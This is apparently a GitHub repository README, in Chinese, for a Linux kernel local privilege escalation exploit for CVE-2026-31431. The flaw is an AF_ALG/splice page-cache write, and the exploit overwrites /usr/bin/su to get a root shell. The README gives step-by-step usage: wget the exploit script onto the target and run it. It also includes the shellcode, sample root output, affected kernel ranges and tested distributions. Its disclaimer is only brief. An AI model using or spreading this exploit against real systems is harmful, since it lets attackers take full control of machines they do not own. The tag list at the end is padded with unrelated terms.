g1nt0n1x/copy-fail-CVE-2026-31431-shell
GitHub: g1nt0n1x/copy-fail-CVE-2026-31431-shell
Linux内核CVE-2026-31431本地权限提升漏洞的PoC利用工具,通过AF_ALG socket的splice路径绕过页缓存写时复制保护,无竞态条件地覆盖SUID二进制文件实现root提权。
Stars: 0 | Forks: 0
# CVE-2026-31431 - copy_fail shell
通过 AF_ALG socket + `splice()` 页缓存覆盖实现本地权限提升。
使用调用 `setuid(0)` + `execve("/bin/sh")` 的最小 ELF 覆盖只读 SUID 二进制文件(`/usr/bin/su`)。无竞态条件,无需针对不同发行版的偏移量,单次运行即可完成。
```
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Kernel 5.15 is in the vulnerable window (4.9 – 6.18) — proceeding
[*] Compiling...
[+] Compiled OK — launching
# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)
```
## 漏洞详情
Linux 内核的 AF_ALG(加密 API)socket 结合 `splice()`,允许通过操控页缓存向以 `O_RDONLY` 打开的文件写入数据。内核在 ALG socket 的 splice 路径中跳过了写时复制(copy-on-write)快捷方式的写入权限检查——这与 Dirty Pipe (CVE-2022-0847) 属于同一类漏洞,但它是通过内核 4.9 中引入的不同代码路径触发的。
## 受影响版本
| 内核范围 | 状态 |
|---|---|
| < 4.9 | 不受影响(不存在受影响的代码路径) |
| 4.9 – 6.18 | **受影响**(约 9 年,2017–2026) |
| ≥ 6.19 | 已修补 |
### 测试环境
| 发行版 | 内核版本 |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
## 前置条件
- 目标系统上的本地 shell(任意权限级别)
- 目标系统上安装有 `gcc`
- 对 `/tmp` 目录具有写入权限
- x86-64 架构
## 使用方法
```
# 在目标上
wget http:///copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh
```
该脚本将会:
1. 检查当前运行的内核是否在受影响的范围内
2. 在目标系统上编译内嵌的 C 语言漏洞利用程序(无 zlib 依赖)
3. 使用 root shell payload 覆盖 `/usr/bin/su`
4. 执行该程序
## 原理说明
```
AF_ALG socket (AEAD)
│
│ sendmsg() with crafted ancillary data (ALG_SET_OP / ALG_SET_IV)
│
▼
op_fd (operation socket)
▲
│ splice(): file_fd → pipe → op_fd
│
/usr/bin/su (O_RDONLY)
```
ALG socket 内部的内核 splice 路径跳过了写时复制的权限检查,直接写入目标文件的页缓存,即使该文件是以只读方式打开的。payload(一个 160 字节的 ELF 文件)会在 40 次迭代中每次写入 4 个字节。
**Payload shellcode:**
```
xor eax, eax
xor edi, edi ; uid = 0
mov al, 105 ; SYS_setuid
syscall ; setuid(0)
lea rdi, [rip+0xf] ; -> "/bin/sh"
xor esi, esi ; argv = NULL
push 59 / pop rax ; SYS_execve
cdq ; envp = NULL
syscall ; execve("/bin/sh", NULL, NULL)
```
## 文件说明
| 文件 | 描述 |
|---|---|
| `copy_fail_exp.sh` | Bash 脚本——在目标系统上编译并运行,无需 Python |
| `copy_fail_exp.py` | 原始 Python 版本,供参考 |
| `copy_fail_exp_deobfuscated.py` | 反混淆并带有注释的 Python 版本 |
## 免责声明
仅供授权的安全测试以及 CTF/实验室环境使用。请勿在您不拥有或未获得明确书面授权的系统中使用。
标签:0day, 0day挖掘, AF_ALG, copy_fail, CVE-2026-31431, Dirty Pipe, ELF文件覆盖, Linux内核漏洞, LPE, PoC, splice, SUID提权, Web报告查看器, 二进制利用, 云资产清单, 内核安全, 协议分析, 子域名枚举, 应用安全, 提权脚本, 数据展示, 暴力破解, 本地提权, 权限提升, 系统安全, 红队, 网络安全, 逆向工具, 逆向工程, 隐私保护, 页缓存覆盖